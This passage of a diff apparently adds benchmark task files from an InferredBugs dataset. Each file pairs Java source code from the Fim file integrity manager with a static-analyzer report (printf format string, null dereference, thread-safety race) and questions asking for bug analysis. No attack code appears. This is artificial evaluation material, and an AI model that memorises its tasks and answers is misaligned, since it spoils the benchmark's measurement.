+	private List<Difference> copied;
+	private List<Difference> duplicated;
+	private List<Difference> dateModified;
+	private List<Difference> contentModified;
+	private List<Difference> attributesModified;
+	private List<Difference> renamed;
+	private List<Difference> deleted;
+	private List<Difference> corrupted;
+
+	private Context context;
+	private State lastState;
+	private boolean searchForHardwareCorruption;
+
+	public CompareResult(Context context, State lastState)
+	{
+		this.context = context;
+		this.lastState = lastState;
+		this.searchForHardwareCorruption = false;
+
+		added = new ArrayList<>();
+		copied = new ArrayList<>();
+		duplicated = new ArrayList<>();
+		dateModified = new ArrayList<>();
+		contentModified = new ArrayList<>();
+		attributesModified = new ArrayList<>();
+		renamed = new ArrayList<>();
+		deleted = new ArrayList<>();
+		corrupted = new ArrayList<>();
+	}
+
+	public boolean isSearchForHardwareCorruption()
+	{
+		return searchForHardwareCorruption;
+	}
+
+	public void setSearchForHardwareCorruption(boolean searchForHardwareCorruption)
+	{
+		this.searchForHardwareCorruption = searchForHardwareCorruption;
+	}
+
+	public void sortResults()
+	{
+		sortDifferences(added);
+		sortDifferences(copied);
+		sortDifferences(duplicated);
+		sortDifferences(dateModified);
+		sortDifferences(contentModified);
+		sortDifferences(attributesModified);
+		sortDifferences(renamed);
+		sortDifferences(deleted);
+		sortDifferences(corrupted);
+	}
+
+	private void sortDifferences(List<Difference> differences)
+	{
+		Collections.sort(differences, fileNameComparator);
+	}
+
+	public CompareResult displayChanges()
+	{
+		if (lastState != null)
+		{
+			System.out.printf("Comparing with the last committed state from %s%n", formatDate(lastState.getTimestamp()));
+			if (lastState.getComment().length() > 0)
+			{
+				System.out.println("Comment: " + lastState.getComment());
+			}
+			Console.newLine();
+		}
+
+		if (!context.isVerbose())
+		{
+			displayCounts();
+			return this;
+		}
+
+		String stateFormat = "%-17s ";
+
+		for (Difference diff : added)
+		{
+			System.out.printf(stateFormat + "%s%n", "Added:", diff.getFileState().getFileName());
+		}
+
+		for (Difference diff : copied)
+		{
+			System.out.printf(stateFormat + "%s \t(was %s)%n", "Copied:", diff.getFileState().getFileName(), diff.getPreviousFileState().getFileName());
+		}
+
+		for (Difference diff : duplicated)
+		{
+			System.out.printf(stateFormat + "%s = %s%s%n", "Duplicated:", diff.getFileState().getFileName(), diff.getPreviousFileState().getFileName(), formatModifiedAttributes(diff, true));
+		}
+
+		for (Difference diff : dateModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Date modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : contentModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Content modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : attributesModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Attrs. modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : renamed)
+		{
+			System.out.printf(stateFormat + "%s -> %s%s%n", "Renamed:", diff.getPreviousFileState().getFileName(), diff.getFileState().getFileName(), formatModifiedAttributes(diff, true));
+		}
+
+		for (Difference diff : deleted)
+		{
+			System.out.printf(stateFormat + "%s%n", "Deleted:", diff.getFileState().getFileName());
+		}
+
+		for (Difference diff : corrupted)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Corrupted?:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		if (somethingModified())
+		{
+			Console.newLine();
+		}
+
+		displayCounts();
+
+		return this;
+	}
+
+	private String formatModifiedAttributes(Difference diff, boolean nextLine)
+	{
+		int modifCount = 0;
+		StringBuilder modification = new StringBuilder(nextLine ? " " : ""); // Put a white space to force to add a separator
+
+		Map<String, String> previousFileAttributes = diff.getPreviousFileState().getFileAttributes();
+		Map<String, String> currentFileAttributes = diff.getFileState().getFileAttributes();
+		for (FileAttribute attribute : FileAttribute.values())
+		{
+			String key = attribute.name();
+			String previousValue = getValue(previousFileAttributes, key);
+			String currentValue = getValue(currentFileAttributes, key);
+
+			if (false == Objects.equals(previousValue, currentValue))
+			{
+				modifCount++;
+				addSeparator(diff, modification);
+				modification.append(key).append(": ").append(previousValue).append(" -> ").append(currentValue);
+			}
+		}
+
+		if (diff.isCreationTimeChanged())
+		{
+			modifCount++;
+			addSeparator(diff, modification);
+			modification.append("creationTime: ").append(formatCreationTime(diff.getPreviousFileState())).append(" -> ").append(formatCreationTime(diff.getFileState()));
+		}
+
+		if (diff.isLastModifiedChanged())
+		{
+			modifCount++;
+			addSeparator(diff, modification);
+			modification.append("lastModified: ").append(formatLastModified(diff.getPreviousFileState())).append(" -> ").append(formatLastModified(diff.getFileState()));
+		}
+
+		if (modifCount > 1)
+		{
+			modification.append('\n');
+		}
+
+		return modification.toString();
+	}
+
+	private void addSeparator(Difference diff, StringBuilder modification)
+	{
+		if (modification.length() == 0)
+		{
+			return;
+		}
+
+		modification.append("\n");
+		int len = 17 + 1 + diff.getFileState().getFileName().length() + 1;
+		for (int index = 0; index < len; index++)
+		{
+			modification.append(' ');
+		}
+		modification.append('\t');
+	}
+
+	private String getValue(Map<String, String> attributes, String key)
+	{
+		String value = attributes != null ? attributes.get(key) : null;
+		if (value == null || value.length() == 0)
+		{
+			value = NOTHING;
+		}
+		return value;
+	}
+
+	public CompareResult displayCounts()
+	{
+		if (somethingModified())
+		{
+			String message = "";
+			if (!added.isEmpty())
+			{
+				message += "" + added.size() + " added, ";
+			}
+
+			if (!copied.isEmpty())
+			{
+				message += "" + copied.size() + " copied, ";
+			}
+
+			if (!duplicated.isEmpty())
+			{
+				message += "" + duplicated.size() + " duplicated, ";
+			}
+
+			if (!dateModified.isEmpty())
+			{
+				message += "" + dateModified.size() + " date modified, ";
+			}
+
+			if (!attributesModified.isEmpty())
+			{
+				message += "" + attributesModified.size() + " attrs. modified, ";
+			}
+
+			if (!contentModified.isEmpty())
+			{
+				message += "" + contentModified.size() + " content modified, ";
+			}
+
+			if (!renamed.isEmpty())
+			{
+				message += "" + renamed.size() + " renamed, ";
+			}
+
+			if (!deleted.isEmpty())
+			{
+				message += "" + deleted.size() + " deleted, ";
+			}
+
+			if (!corrupted.isEmpty())
+			{
+				message += "" + corrupted.size() + " corrupted, ";
+			}
+
+			message = message.replaceAll(", $", "");
+			System.out.println(message);
+		}
+		else
+		{
+			if (isSearchForHardwareCorruption())
+			{
+				System.out.println("Nothing corrupted");
+			}
+			else
+			{
+				System.out.println("Nothing modified");
+			}
+		}
+
+		return this;
+	}
+
+	public boolean somethingModified()
+	{
+		return modifiedCount() > 0;
+	}
+
+	public int modifiedCount()
+	{
+		return added.size() + copied.size() + duplicated.size() + dateModified.size() + contentModified.size() +
+				attributesModified.size() + renamed.size() + deleted.size() + corrupted.size();
+	}
+
+	public ModificationCounts getModificationCounts()
+	{
+		ModificationCounts modificationCounts = new ModificationCounts();
+		modificationCounts.setAdded(added.size());
+		modificationCounts.setCopied(copied.size());
+		modificationCounts.setDuplicated(duplicated.size());
+		modificationCounts.setDateModified(dateModified.size());
+		modificationCounts.setContentModified(contentModified.size());
+		modificationCounts.setAttributesModified(attributesModified.size());
+		modificationCounts.setRenamed(renamed.size());
+		modificationCounts.setDeleted(deleted.size());
+
+		return modificationCounts;
+	}
+
+	public List<Difference> getAdded()
+	{
+		return added;
+	}
+
+	public List<Difference> getCopied()
+	{
+		return copied;
+	}
+
+	public List<Difference> getDuplicated()
+	{
+		return duplicated;
+	}
+
+	public List<Difference> getDateModified()
+	{
+		return dateModified;
+	}
+
+	public List<Difference> getContentModified()
+	{
+		return contentModified;
+	}
+
+	public List<Difference> getAttributesModified()
+	{
+		return attributesModified;
+	}
+
+	public List<Difference> getRenamed()
+	{
+		return renamed;
+	}
+
+	public List<Difference> getDeleted()
+	{
+		return deleted;
+	}
+
+	public List<Difference> getCorrupted()
+	{
+		return corrupted;
+	}
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CompareResult CompareResult.displayChanges()
+
+### Procedure Id:
+org.fim.model.CompareResult.displayChanges():org.fim.model.CompareResult.a1ae9cd3721eb660a7fec409bf8af966
+
+### File:
+src/main/java/org/fim/model/CompareResult.java
+
+### Key:
+CompareResult.java|displayChanges|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+8f5f91250d216a5d69d5b79057aab607
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8397/instruction.md b/inferredbugs-8397/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9617f6bd64471d04d6feda35c499db24b5939dcb
--- /dev/null
+++ b/inferredbugs-8397/instruction.md
@@ -0,0 +1,357 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fim
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Fim - File Integrity Manager
+ *
+ * Copyright (C) 2015  Etienne Vrignaud
+ *
+ * Fim is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Fim is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Fim.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.fim;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Scanner;
+
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.CommandLineParser;
+import org.apache.commons.cli.GnuParser;
+import org.apache.commons.cli.HelpFormatter;
+import org.apache.commons.cli.Option;
+import org.apache.commons.cli.Options;
+import org.fim.model.CompareMode;
+import org.fim.model.CompareResult;
+import org.fim.model.State;
+
+public class Main
+{
+	/**
+	 * Construct Options.
+	 */
+	public static Options constructOptions()
+	{
+		Options options = new Options();
+		options.addOption(createOption("q", "quiet", false, "Do not display details", false));
+		options.addOption(createOption("f", "fastCompare", false, "Compare only filenames and modification dates", false));
+		options.addOption(createOption("m", "message", true, "Message to store with the State", false));
+		options.addOption(createOption("t", "threadCount", true, "Number of thread to use to hash files content in parallel", false));
+		options.addOption(createOption("l", "useLastState", false, "Use the last committed State", false));
+		return options;
+	}
+
+	public static Option createOption(String opt, String longOpt, boolean hasArg, String description, boolean required)
+	{
+		Option option = new Option(opt, longOpt, hasArg, description);
+		option.setRequired(required);
+		return option;
+	}
+
+	public static void main(String[] args) throws IOException
+	{
+		String[] filteredArgs = filterEmptyArgs(args);
+		if (filteredArgs.length < 1)
+		{
+			youMustSpecifyACommandToRun();
+		}
+
+		Command command = Command.fromName(filteredArgs[0]);
+		if (command == null)
+		{
+			youMustSpecifyACommandToRun();
+		}
+
+		CommandLineParser cmdLineGnuParser = new GnuParser();
+
+		Options options = constructOptions();
+		CommandLine commandLine;
+
+		boolean verbose = true;
+		CompareMode compareMode = CompareMode.FULL;
+		String message = "";
+		boolean useLastState = false;
+		int threadCount = Runtime.getRuntime().availableProcessors();
+
+		try
+		{
+			String[] actionArgs = Arrays.copyOfRange(filteredArgs, 1, filteredArgs.length);
+			commandLine = cmdLineGnuParser.parse(options, actionArgs);
+			if (commandLine.hasOption("h"))
+			{
+				printUsage();
+				System.exit(0);
+			}
+			else
+			{
+				verbose = !commandLine.hasOption('q');
+				compareMode = commandLine.hasOption('f') ? CompareMode.FAST : CompareMode.FULL;
+				message = commandLine.getOptionValue('m', message);
+				threadCount = Integer.parseInt(commandLine.getOptionValue('t', "" + threadCount));
+				useLastState = commandLine.hasOption('l');
+			}
+		}
+		catch (Exception ex)
+		{
+			printUsage();
+			System.exit(-1);
+		}
+
+		if (compareMode == CompareMode.FAST)
+		{
+			threadCount = 1;
+			System.out.println("Using fast compare mode. Thread count forced to 1");
+		}
+
+		if (threadCount < 1)
+		{
+			System.out.println("Thread count must be at least one");
+			System.exit(0);
+		}
+
+		File baseDirectory = new File(".");
+		File stateDir = new File(StateGenerator.FIC_DIR, "states");
+
+		if (command == Command.INIT)
+		{
+			if (stateDir.exists())
+			{
+				System.out.println("fim repository already exist");
+				System.exit(0);
+			}
+		}
+		else
+		{
+			if (!stateDir.exists())
+			{
+				System.out.println("fim repository does not exist. Please run 'fim init' before.");
+				System.exit(-1);
+			}
+		}
+
+		State previousState;
+		State currentState;
+
+		StateGenerator generator = new StateGenerator(threadCount, compareMode);
+		StateManager manager = new StateManager(stateDir, compareMode);
+		StateComparator comparator = new StateComparator(compareMode);
+		DuplicateFinder finder = new DuplicateFinder();
+
+		switch (command)
+		{
+			case INIT:
+				fastCompareNotSupported(compareMode);
+
+				stateDir.mkdirs();
+				currentState = generator.generateState("Initial State", baseDirectory);
+				comparator.compare(null, currentState).displayChanges(verbose);
+				manager.createNewState(currentState);
+				break;
+
+			case COMMIT:
+				fastCompareNotSupported(compareMode);
+
+				previousState = manager.loadPreviousState();
+				currentState = generator.generateState(message, baseDirectory);
+				CompareResult result = comparator.compare(previousState, currentState).displayChanges(verbose);
+				if (result.somethingModified())
+				{
+					System.out.println("");
+					if (confirmCommand("commit"))
+					{
+						manager.createNewState(currentState);
+					}
+					else
+					{
+						System.out.println("Nothing committed");
+					}
+				}
+				break;
+
+			case DIFF:
+				previousState = manager.loadPreviousState();
+				currentState = generator.generateState(message, baseDirectory);
+				comparator.compare(previousState, currentState).displayChanges(verbose);
+				break;
+
+			case FIND_DUPLICATES:
+				fastCompareNotSupported(compareMode);
+
+				System.out.println("Searching for duplicated files" + (useLastState ? " from the last committed State" : ""));
+				System.out.println("");
+				State state;
+				if (useLastState)
+				{
+					state = manager.loadPreviousState();
+				}
+				else
+				{
+					state = generator.generateState(message, baseDirectory);
+				}
+				finder.findDuplicates(state).displayDuplicates(verbose);
+				break;
+
+			case RESET_DATES:
+				fastCompareNotSupported(compareMode);
+
+				previousState = manager.loadPreviousState();
+				manager.resetDates(previousState);
+				break;
+
+			case LOG:
+				manager.displayStatesLog();
+				break;
+		}
+	}
+
+	private static String[] filterEmptyArgs(String[] args)
+	{
+		List<String> filteredArgs = new ArrayList<>();
+		for (String arg : args)
+		{
+			if (arg.length() > 0)
+			{
+				filteredArgs.add(arg);
+			}
+		}
+		return filteredArgs.toArray(new String[0]);
+	}
+
+	private static void fastCompareNotSupported(CompareMode compareMode)
+	{
+		if (compareMode == CompareMode.FAST)
+		{
+			System.out.println("Fast compare mode not supported by this command.");
+			System.exit(-1);
+		}
+	}
+
+	private static boolean confirmCommand(String command)
+	{
+		Scanner scanner = new Scanner(System.in);
+		System.out.printf("Do you really want to %s (y/n)? ", command);
+		String str = scanner.next();
+		if (str.equalsIgnoreCase("y"))
+		{
+			return true;
+		}
+		return false;
+	}
+
+	private static void youMustSpecifyACommandToRun()
+	{
+		System.out.println("You must specify the command to run");
+		printUsage();
+		System.exit(-1);
+	}
+
+	public static void printUsage()
+	{
+		System.out.println("");
+		Options options = constructOptions();
+		PrintWriter writer = new PrintWriter(System.out);
+		HelpFormatter helpFormatter = new HelpFormatter();
+
+		String usage = "\nAvailable commands:\n";
+		for (final Command command : Command.values())
+		{
+			if (command.getShortCmdName() != null && command.getShortCmdName().length() > 0)
+			{
+				usage += String.format("- %s / %s: %s\n", command.getShortCmdName(), command.getCmdName(), command.getDescription());
+			}
+			else
+			{
+				usage += String.format("- %s: %s\n", command.getCmdName(), command.getDescription());
+			}
+		}
+
+		helpFormatter.printHelp(writer, 110, "fim <command>", "\nFile Integrity Checker\n", options, 5, 3, usage, true);
+		writer.flush();
+		System.out.println("");
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `previousState.fileStates` last assigned on line 165 could be null and is dereferenced by call to `compare(...)` at line 167.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Main.main(java.lang.String[])
+
+### Procedure Id:
+org.fim.Main.main(java.lang.String[]):void.fab5e0be07abd28755980a22623edc93
+
+### File:
+src/main/java/org/fim/Main.java
+
+### Key:
+Main.java|main|NULL_DEREFERENCE
+
+### Node Key:
+d28e6bf92f2bb0eec2b64537f6ae4b13
+
+### Hash:
+f26a409c4162f5cddeee054fe63fe381
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8398/instruction.md b/inferredbugs-8398/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3265a8c5af419522c8057282f6503685b1360775
--- /dev/null
+++ b/inferredbugs-8398/instruction.md
@@ -0,0 +1,411 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fim
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Fim - File Integrity Manager
+ *
+ * Copyright (C) 2015  Etienne Vrignaud
+ *
+ * Fim is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Fim is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Fim.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.fim.internal;
+
+import java.io.IOException;
+import java.nio.file.DirectoryStream;
+import java.nio.file.Files;
+import java.nio.file.LinkOption;
+import java.nio.file.Path;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.apache.commons.io.FileUtils;
+import org.apache.commons.lang3.time.DurationFormatUtils;
+import org.apache.commons.lang3.tuple.Pair;
+import org.fim.model.FileState;
+import org.fim.model.HashMode;
+import org.fim.model.Parameters;
+import org.fim.model.State;
+import org.fim.util.Logger;
+
+public class StateGenerator
+{
+	public static final int PROGRESS_DISPLAY_FILE_COUNT = 10;
+	public static final int FILES_QUEUE_CAPACITY = 500;
+
+	private static final Set ignoredDirectories = new HashSet<>(Arrays.asList(Parameters.DOT_FIM_DIR, ".git", ".svn", ".cvs"));
+
+	private static final Pair<Character, Integer>[] hashProgress = new Pair[]
+			{
+					Pair.of('.', 0),
+					Pair.of('o', FileState.SIZE_20_MB),
+					Pair.of('O', FileState.SIZE_50_MB),
+					Pair.of('@', FileState.SIZE_100_MB),
+					Pair.of('#', FileState.SIZE_200_MB)
+			};
+
+	private static Comparator<FileState> fileNameComparator = new FileState.FileNameComparator();
+
+	private final Parameters parameters;
+	private final ReentrantLock progressLock;
+
+	private ExecutorService executorService;
+	private long summedFileLength;
+	private int fileCount;
+	private long totalFileContentLength;
+
+	private Path fimRepositoryRootDir;
+	private BlockingDeque<Path> filesToHash;
+	private boolean hashersStarted;
+	private List<FileHasher> hashers;
+	private long totalBytesHashed;
+
+	public StateGenerator(Parameters parameters)
+	{
+		this.parameters = parameters;
+		this.progressLock = new ReentrantLock();
+	}
+
+	public State generateState(String comment, Path fimRepositoryRootDir) throws IOException, NoSuchAlgorithmException
+	{
+		this.fimRepositoryRootDir = fimRepositoryRootDir;
+
+		Logger.info(String.format("Scanning recursively local files, %s, using %d thread", hashModeToString(), parameters.getThreadCount()));
+		if (displayHashLegend())
+		{
+			System.out.printf("    (Hash progress legend for files grouped %d by %d: %s)%n", PROGRESS_DISPLAY_FILE_COUNT, PROGRESS_DISPLAY_FILE_COUNT, hashProgressLegend());
+		}
+
+		State state = new State();
+		state.setComment(comment);
+
+		long start = System.currentTimeMillis();
+		progressOutputInit();
+
+		filesToHash = new LinkedBlockingDeque<>(FILES_QUEUE_CAPACITY);
+		InitializeFileHashers();
+
+		scanFileTree(filesToHash, fimRepositoryRootDir);
+
+		// In case the FileHashers have not been started
+		startFileHashers();
+
+		waitAllFilesToBeHashed();
+
+		for (FileHasher hasher : hashers)
+		{
+			state.getFileStates().addAll(hasher.getFileStates());
+			totalFileContentLength += hasher.getTotalFileContentLength();
+			totalBytesHashed += hasher.getTotalBytesHashed();
+		}
+
+		Collections.sort(state.getFileStates(), fileNameComparator);
+
+		progressOutputStop();
+		displayStatistics(start, state);
+
+		return state;
+	}
+
+	private void InitializeFileHashers()
+	{
+		hashersStarted = false;
+		hashers = new ArrayList<>();
+		executorService = Executors.newFixedThreadPool(parameters.getThreadCount());
+	}
+
+	private void startFileHashers() throws NoSuchAlgorithmException
+	{
+		if (!hashersStarted)
+		{
+			for (int index = 0; index < parameters.getThreadCount(); index++)
+			{
+				FileHasher hasher = new FileHasher(this, filesToHash, fimRepositoryRootDir.toString());
+				executorService.submit(hasher);
+				hashers.add(hasher);
+			}
+			hashersStarted = true;
+		}
+	}
+
+	private String hashModeToString()
+	{
+		switch (parameters.getHashMode())
+		{
+			case DONT_HASH_FILES:
+				return "retrieving only file attributes";
+
+			case HASH_ONLY_FIRST_FOUR_KILO:
+				return "hashing only first four kilo";
+
+			case HASH_ONLY_FIRST_MEGA:
+				return "hashing only first mega";
+
+			case COMPUTE_ALL_HASH:
+				return "computing all hash";
+		}
+
+		throw new IllegalArgumentException("Invalid hash mode " + parameters.getHashMode());
+	}
+
+	private void waitAllFilesToBeHashed()
+	{
+		try
+		{
+			executorService.shutdown();
+			executorService.awaitTermination(3, TimeUnit.DAYS);
+		}
+		catch (InterruptedException ex)
+		{
+			Logger.error(ex);
+		}
+	}
+
+	private void displayStatistics(long start, State state)
+	{
+		long duration = System.currentTimeMillis() - start;
+
+		String totalFileContentLengthStr = FileUtils.byteCountToDisplaySize(totalFileContentLength);
+		String totalBytesHashedStr = FileUtils.byteCountToDisplaySize(totalBytesHashed);
+		String durationStr = DurationFormatUtils.formatDuration(duration, "HH:mm:ss");
+
+		if (parameters.getHashMode() == HashMode.DONT_HASH_FILES)
+		{
+			Logger.info(String.format("Scanned %d files (%s), during %s, using %d thread%n",
+					state.getFileStates().size(), totalFileContentLengthStr, durationStr, parameters.getThreadCount()));
+		}
+		else
+		{
+			Logger.info(String.format("Scanned %d files (%s), hashed %s bytes, during %s, using %d thread%n",
+					state.getFileStates().size(), totalFileContentLengthStr, totalBytesHashedStr, durationStr, parameters.getThreadCount()));
+		}
+	}
+
+	private void scanFileTree(BlockingDeque<Path> filesToHash, Path directory) throws IOException, NoSuchAlgorithmException
+	{
+		try (DirectoryStream<Path> stream = Files.newDirectoryStream(directory))
+		{
+			for (Path file : stream)
+			{
+				if (!hashersStarted && filesToHash.size() > FILES_QUEUE_CAPACITY / 2)
+				{
+					startFileHashers();
+				}
+
+				BasicFileAttributes attributes = Files.readAttributes(file, BasicFileAttributes.class, LinkOption.NOFOLLOW_LINKS);
+				if (attributes.isRegularFile())
+				{
+					try
+					{
+						filesToHash.offer(file, 120, TimeUnit.MINUTES);
+					}
+					catch (InterruptedException ex)
+					{
+						Logger.error(ex);
+					}
+				}
+				else if (attributes.isDirectory())
+				{
+					String fileName = file.getFileName().toString();
+					if (ignoredDirectories.contains(fileName))
+					{
+						continue;
+					}
+
+					scanFileTree(filesToHash, file);
+				}
+			}
+		}
+	}
+
+	private void progressOutputInit()
+	{
+		summedFileLength = 0;
+		fileCount = 0;
+	}
+
+	public void updateProgressOutput(long fileSize) throws IOException
+	{
+		progressLock.lock();
+		try
+		{
+			fileCount++;
+
+			if (displayHashLegend())
+			{
+				summedFileLength += fileSize;
+
+				if (fileCount % PROGRESS_DISPLAY_FILE_COUNT == 0)
+				{
+					System.out.print(getProgressChar(summedFileLength));
+					summedFileLength = 0;
+				}
+			}
+
+			if (fileCount % (100 * PROGRESS_DISPLAY_FILE_COUNT) == 0)
+			{
+				if (displayHashLegend())
+				{
+					System.out.println("");
+				}
+			}
+		}
+		finally
+		{
+			progressLock.unlock();
+		}
+	}
+
+	private String hashProgressLegend()
+	{
+		StringBuilder sb = new StringBuilder();
+		for (int progressIndex = hashProgress.length - 1; progressIndex >= 0; progressIndex--)
+		{
+			char marker = hashProgress[progressIndex].getLeft();
+			sb.append(marker);
+
+			int fileLength = hashProgress[progressIndex].getRight();
+			if (fileLength == 0)
+			{
+				sb.append(" otherwise");
+			}
+			else
+			{
+				sb.append(" > ").append(FileUtils.byteCountToDisplaySize(fileLength));
+			}
+			sb.append(", ");
+		}
+		String legend = sb.toString();
+		legend = legend.substring(0, legend.length() - 2);
+		return legend;
+	}
+
+	private char getProgressChar(long fileLength)
+	{
+		int progressIndex;
+		for (progressIndex = hashProgress.length - 1; progressIndex >= 0; progressIndex--)
+		{
+			if (fileLength > hashProgress[progressIndex].getRight())
+			{
+				break;
+			}
+		}
+		return hashProgress[progressIndex].getLeft();
+	}
+
+	private void progressOutputStop()
+	{
+		if (displayHashLegend())
+		{
+			if (fileCount > PROGRESS_DISPLAY_FILE_COUNT)
+			{
+				System.out.println("");
+			}
+		}
+	}
+
+	private boolean displayHashLegend()
+	{
+		return parameters.isVerbose() && parameters.getHashMode() != HashMode.DONT_HASH_FILES;
+	}
+
+	public Parameters getParameters()
+	{
+		return parameters;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.fim.internal.StateGenerator.generateState` indirectly reads without synchronization from `this.org.fim.internal.StateGenerator.fileCount`. Potentially races with write in method `StateGenerator.updateProgressOutput(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+State StateGenerator.generateState(String,Path)
+
+### Procedure Id:
+org.fim.internal.StateGenerator.generateState(java.lang.String,java.nio.file.Path):org.fim.model.Sta.dcefa56923acbef36aa2f70171181cef
+
+### File:
+src/main/java/org/fim/internal/StateGenerator.java
+
+### Key:
+StateGenerator.java|generateState|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+775d1993696adf703b1ee80e66fe9cb8
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8399/instruction.md b/inferredbugs-8399/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3f4d2774b96ab4f02bfa9ff1708eb54b84772c4d
--- /dev/null
+++ b/inferredbugs-8399/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fim
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Fim - File Integrity Manager
+ *
+ * Copyright (C) 2015  Etienne Vrignaud
+ *
+ * Fim is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Fim is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Fim.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.fim.model;
+
